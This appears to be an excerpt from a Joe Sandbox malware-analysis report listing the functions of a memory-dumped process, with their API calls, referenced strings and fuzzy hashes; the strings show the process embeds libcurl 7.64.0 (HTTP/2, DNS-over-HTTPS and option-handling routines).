Instruction ID: 1cbedc784ca897c3f1cb403ee2df44e134227e125a1ed1e7c104945dce86a42f
Opcode Fuzzy Hash: 11b30a8a5fd8bcea03b1c3e5962648f606c1486e3302bbcd0a999c05d0e89604
Instruction Fuzzy Hash: 4AF054F4A14202ABDB50BB64DC66E1AB7D49B64310F04093DF8C4C7351F661D514CB73

Function 00DDF190 Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 339COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?), ref: 00DDF502

Strings

Connection state changed (MAX_CONCURRENT_STREAMS == %u)!, xrefs: 00DDF259
failed to add handle to multi, xrefs: 00DDF5FB
failed to duplicate handle, xrefs: 00DDF552
Internal NULL stream!, xrefs: 00DDF562
failed to set user_data for stream %d, xrefs: 00DDF6AE

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: memcpy
String ID: Connection state changed (MAX_CONCURRENT_STREAMS == %u)!$Internal NULL stream!$failed to add handle to multi$failed to duplicate handle$failed to set user_data for stream %d
API String ID: 3510742995-3583929766
Opcode ID: 513f12714fd81e9358a4f681b07900219d01d4eea39137e0ef92a3df736e130a
Instruction ID: f8e8650c336e3abcda66275aa492fc8ae292315c83fa3434abaaea72e8a851d7
Opcode Fuzzy Hash: 513f12714fd81e9358a4f681b07900219d01d4eea39137e0ef92a3df736e130a
Instruction Fuzzy Hash: 42D1BEB59003059BD720DF24EC85BAB77E4BF04314F084579E96E9B382E736EA54CBA1

Function 00E18B80 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 244stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00E18B98
strchr.MSVCRT ref: 00E18BF3
strlen.MSVCRT ref: 00E18C23
memcpy.MSVCRT(000000010000017C,?,00000000), ref: 00E18C3F

Strings

Failed to encode DOH packet [%d], xrefs: 00E18CD9
%s?dns=%s, xrefs: 00E18D02

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen$memcpystrchr
String ID: %s?dns=%s$Failed to encode DOH packet [%d]
API String ID: 2999326979-3030351490
Opcode ID: 9677741e8fe2f798db8a5ddf3e94455c79eb18864f0f14dbf90395913d579f49
Instruction ID: 9dc397bbe30ca31da9a3f5678fdaed0b232ca7d736cfe993e51cfda2bfaac9d3
Opcode Fuzzy Hash: 9677741e8fe2f798db8a5ddf3e94455c79eb18864f0f14dbf90395913d579f49
Instruction Fuzzy Hash: EC81A6B1904305AFEB10AF11ED45B9B7BE5EF94348F048438FD48A6252FB71D954C7A2

Function 00DDF8B0 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 217COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(:status,?,00000007), ref: 00DDFA69

Strings

%s:%s, xrefs: 00DDFA2B
Internal NULL stream! 5, xrefs: 00DDF940
HTTP/2 , xrefs: 00DDFB2E
:status, xrefs: 00DDFA64
, xrefs: 00DDFB5B

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: memcmp
String ID: $%s:%s$:status$HTTP/2 $Internal NULL stream! 5
API String ID: 1475443563-2461269821
Opcode ID: 8a72543254376ec991383a9aa925bf2cbac94bea77b390ee0a9ba0926b78d58a
Instruction ID: 643f9748a2166d6de2d2457b5927ea2be50f7eb4e44d13024cbd4c757dbac7f7
Opcode Fuzzy Hash: 8a72543254376ec991383a9aa925bf2cbac94bea77b390ee0a9ba0926b78d58a
Instruction Fuzzy Hash: 14711675A40304ABE7109B24EC81F6A37EAAB50758F0C913AFD899F387F275D9048771

Function 00DDDC60 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00E0CD00: getaddrinfo.WS2_32(?,?,?), ref: 00E0CD23
Part of subcall function 00E0CD00: freeaddrinfo.WS2_32(?,?,?,?), ref: 00E0CE62

WSAGetLastError.WS2_32 ref: 00DDDC9C
WSAGetLastError.WS2_32 ref: 00DDDCA6
EnterCriticalSection.KERNEL32(?), ref: 00DDDCBD
LeaveCriticalSection.KERNEL32(?), ref: 00DDDCCF
DeleteCriticalSection.KERNEL32(00000000), ref: 00DDDCDC
LeaveCriticalSection.KERNEL32(?), ref: 00DDDD86

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: CriticalSection$ErrorLastLeave$DeleteEnterfreeaddrinfogetaddrinfo
String ID:
API String ID: 2133702940-0
Opcode ID: 0adc4d144bbfcf1e4e4c0e2c68f3b597e2fb0c386b5d664b714ea44dc7830e56
Instruction ID: a875d98d1d482230d6ae17c2297a63476250db398178213b558f9186b5e42545
Opcode Fuzzy Hash: 0adc4d144bbfcf1e4e4c0e2c68f3b597e2fb0c386b5d664b714ea44dc7830e56
Instruction Fuzzy Hash: D6311EB5501602EFE7109F65D948B42FBB5FF04318F144629E41586A84E7BBE8B8CFE1

Function 00DD0180 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DD01E1
free.MSVCRT ref: 00DD0211

Strings

struct curl_slist *slist%d;, xrefs: 00DD0196
slist%d = NULL;, xrefs: 00DD01B0, 00DD01F2
curl_slist_free_all(slist%d);, xrefs: 00DD01C8
slist%d = curl_slist_append(slist%d, "%s");, xrefs: 00DD0230

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: free
String ID: curl_slist_free_all(slist%d);$slist%d = NULL;$slist%d = curl_slist_append(slist%d, "%s");$struct curl_slist *slist%d;
API String ID: 1294909896-250881521
Opcode ID: f52535b0a467b32b45c8d442d81aae873f21a22034078134483a8464c216704e
Instruction ID: 48cec51b5b7d8dbbb98834d298be1f6399cec02c70a73e2fde29bfac2bdcddec
Opcode Fuzzy Hash: f52535b0a467b32b45c8d442d81aae873f21a22034078134483a8464c216704e
Instruction Fuzzy Hash: 1B11A2E1B443066FD72076A56C42F6BBA88DF94394F15043EFE98D7306F691CD4086B1

Function 00DDD8C0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

Part of subcall function 00DD9A20: memchr.MSVCRT ref: 00DD9A7D

InitializeCriticalSection.KERNEL32(00000000), ref: 00DDDA8F

Part of subcall function 00DDA740: socket.WS2_32(00000017,00000002,00000000), ref: 00DDA751

_errno.MSVCRT ref: 00DDDBF5

Part of subcall function 00DF7140: strlen.MSVCRT ref: 00DF718C

Strings

getaddrinfo() thread failed to start, xrefs: 00DDDBFD

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: CriticalInitializeSection_errnomemchrsocketstrlen
String ID: getaddrinfo() thread failed to start
API String ID: 812987948-737161664
Opcode ID: 341d7c0bac9aeecc203137c665033178418b2896380d06dda3f393ec7584f612
Instruction ID: 842ab23c5469d240a18996ba148dd622debf8d42489b2783b076768bc15ca3c4
Opcode Fuzzy Hash: 341d7c0bac9aeecc203137c665033178418b2896380d06dda3f393ec7584f612
Instruction Fuzzy Hash: 62916AB4504701AFE710DF24D989B16BBF4FF44308F044829E9998B391E77AE954CFA2

Function 00FA7860 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 205COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00FA7898

Strings

0, xrefs: 00FA7881
~, xrefs: 00FA78BB
~, xrefs: 00FA7A64
OPENSSL_ia32cap, xrefs: 00FA7891

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: EnvironmentVariable
String ID: 0$OPENSSL_ia32cap$~$~
API String ID: 1431749950-728030840
Opcode ID: e103bf11e085adf676c9ba0a0684587bdd0549575a4fc8952ec3a49f8721c107
Instruction ID: 81ff497de85f563ca815df60d28d7d3a10ca38fb8159f0211c264422bfabe20e
Opcode Fuzzy Hash: e103bf11e085adf676c9ba0a0684587bdd0549575a4fc8952ec3a49f8721c107
Instruction Fuzzy Hash: 8871C0F5A1C3018BD318EF25C84572BF6E0FB85760F15482EE8D487355E3788988E792

Function 00DD10E0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 185stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DD1286
_strdup.MSVCRT(?), ref: 00DD1316

Strings

%0*lu, xrefs: 00DD12A5
internal error: invalid pattern type (%d), xrefs: 00DD133A

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _strdupstrlen
String ID: %0*lu$internal error: invalid pattern type (%d)
API String ID: 1960160495-449433499
Opcode ID: 967e515033d5d29490caef2d7942c81110ca92699c1b5024c7cfae889ed6165d
Instruction ID: 9bfb591ee27daa2822d83f743d45aa4bf54a655d67a2087fdc5e9840530bdb17
Opcode Fuzzy Hash: 967e515033d5d29490caef2d7942c81110ca92699c1b5024c7cfae889ed6165d
Instruction Fuzzy Hash: 5E619339608341EFC721CF59C480A6ABBE1EF99348F4945AEE4D957762C730ED44CB62

Function 00DEDC10 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DEDC87
time.MSVCRT(-00000004), ref: 00DEDCB7

Strings

%s:%d, xrefs: 00DEDC41
@*2v, xrefs: 00DEDC5A

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlentime
String ID: %s:%d$@*2v
API String ID: 3241370836-1470421383
Opcode ID: cd7a5a62ca5689be25415b6940171da1e92f7817583fe2fed1109010d4f56eeb
Instruction ID: 8fc58f6d9f8cdc874aa4745730d7db68dd7760edc12906d11a626c1626da652e
Opcode Fuzzy Hash: cd7a5a62ca5689be25415b6940171da1e92f7817583fe2fed1109010d4f56eeb
Instruction Fuzzy Hash: 9D2127F19003845FE720BB66ED84B6676E9EB44748F0C0038FE4986242EB6ADD45C7B3

Function 00DC67AB Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DC67C1
_strdup.MSVCRT(?), ref: 00DC67E2
free.MSVCRT ref: 00DC697F
_strdup.MSVCRT(?), ref: 00DC699C

Strings

a, xrefs: 00DC67AB

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _strdupfree
String ID: a
API String ID: 1865132094-3904355907
Opcode ID: cdc8de9500dd490a1b0c50d1c5d776705da7c4ae17eef0a6f11bbb3bc6596b26
Instruction ID: dd82c9b2717a0e625f1e53f6d6a935439880520c8c6c0ee7dd45ab97efc45259
Opcode Fuzzy Hash: cdc8de9500dd490a1b0c50d1c5d776705da7c4ae17eef0a6f11bbb3bc6596b26
Instruction Fuzzy Hash: E32181B06042438BDB10DF18C848FAA77E8AF50348F1C457CE4899B281DB36DC52EBA2

Function 00DCA404 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60filestringCOMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DCA201

Part of subcall function 00DCE510: free.MSVCRT ref: 00DCE535
Part of subcall function 00DCE510: free.MSVCRT ref: 00DCE547
Part of subcall function 00DCE510: free.MSVCRT ref: 00DCE559
Part of subcall function 00DCE510: free.MSVCRT ref: 00DCE562

fclose.MSVCRT ref: 00DCA233
free.MSVCRT ref: 00DCA24C
strcmp.MSVCRT ref: 00DCA2A4
fopen.MSVCRT ref: 00DCA2B6
_strdup.MSVCRT(?), ref: 00DCA438

Part of subcall function 00DC9DE0: fwrite.MSVCRT ref: 00DC9E00

Strings

out of memory, xrefs: 00DCE3DD

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: free$_strdupfclosefopenfwritestrcmp
String ID: out of memory
API String ID: 1610934139-49810860
Opcode ID: 1fcf6257c3b57aa7ef044f8870b7fd2be657af9366e248d2b0b138d2b29b9b62
Instruction ID: 8859a3eca707a0360693eb2af7e603c983dc806fd2f0afe7d49cc0c98029a9b6
Opcode Fuzzy Hash: 1fcf6257c3b57aa7ef044f8870b7fd2be657af9366e248d2b0b138d2b29b9b62
Instruction Fuzzy Hash: F32129F5A083418FD720DB58D844F9AB7E4AB94318F08882DE88E97351E775E904CB23

Function 00DCF0F0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 57COMMON

Download Yara Rule

APIs

_strdup.MSVCRT(curl/7.64.0), ref: 00DCF14D

Strings

curl/7.64.0, xrefs: 00DCF148
host, xrefs: 00DCF17F
proxy, xrefs: 00DCF129
out of memory, xrefs: 00DCF162

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _strdup
String ID: curl/7.64.0$host$out of memory$proxy
API String ID: 1169197092-2067908195
Opcode ID: c462a9151bf63b21496b57bac6fd5aaf7c2abd2849316cb266254968d12382e9
Instruction ID: 222dadd3bdd4e5220eabd4334082765e6867f6ab3edeef822b57ce3611612b25
Opcode Fuzzy Hash: c462a9151bf63b21496b57bac6fd5aaf7c2abd2849316cb266254968d12382e9
Instruction Fuzzy Hash: 8E11707660034BDBEB218F11DC45FDA36AEEB90359F0C4039E8088B241E774CA09CB71

Function 00DED590 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 153stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DED5B9
strlen.MSVCRT ref: 00DED72E

Strings

%c%c%c%c, xrefs: 00DED689
%c%c%c=, xrefs: 00DED6FE
%c%c==, xrefs: 00DED6C3

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen
String ID: %c%c%c%c$%c%c%c=$%c%c==
API String ID: 39653677-3943651191
Opcode ID: 4f2d619ca3b92a4dfd5815b40b7ba62fe82b38d2b790e5809324dc68bde85e2e
Instruction ID: ae67ccbb88b854e5b8299599b4506588e061dea6854b44376386c8f2bf88406b
Opcode Fuzzy Hash: 4f2d619ca3b92a4dfd5815b40b7ba62fe82b38d2b790e5809324dc68bde85e2e
Instruction Fuzzy Hash: B74117B15087916BE310EF25CCD1A3BBBE5EBC5305F08456DF9964B352E634DA01CBA2

Function 00DDD720 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 96COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,FFFFFFFF,?,?,00000000,00DEDEC4,?), ref: 00DDD741
LeaveCriticalSection.KERNEL32(?), ref: 00DDD74D

Part of subcall function 00DDD4B0: EnterCriticalSection.KERNEL32(?,?,?,?,00DDD638), ref: 00DDD4C3
Part of subcall function 00DDD4B0: LeaveCriticalSection.KERNEL32(?), ref: 00DDD4D6
Part of subcall function 00DDD4B0: DeleteCriticalSection.KERNEL32(00000000), ref: 00DDD4FD

Strings

host, xrefs: 00DDD7FF
proxy, xrefs: 00DDD804, 00DDD815
Could not resolve %s: %s, xrefs: 00DDD816

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Delete
String ID: Could not resolve %s: %s$host$proxy
API String ID: 2284602516-2205167006
Opcode ID: d67b329b9715e4481755fd60853b6f4354fab37950af887df89b21bbf3e7fd36
Instruction ID: c448ed591eba2f3385380dd2640375e4a88827edd548359410cef3aaeed37195
Opcode Fuzzy Hash: d67b329b9715e4481755fd60853b6f4354fab37950af887df89b21bbf3e7fd36
Instruction Fuzzy Hash: 1631D075B00701AFEB25AF64DC80BAAB7A6FF88304F04403DE95A47351DB72A815DBB0

Function 00DCFAF0 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 95stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DCFB95

Strings

curl_easy_setopt(hnd, %s, , xrefs: 00DCFB35
%*s, xrefs: 00DCFBA3
%s%luUL);, xrefs: 00DCFBC2
%s(long)%s%s, xrefs: 00DCFB7A

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

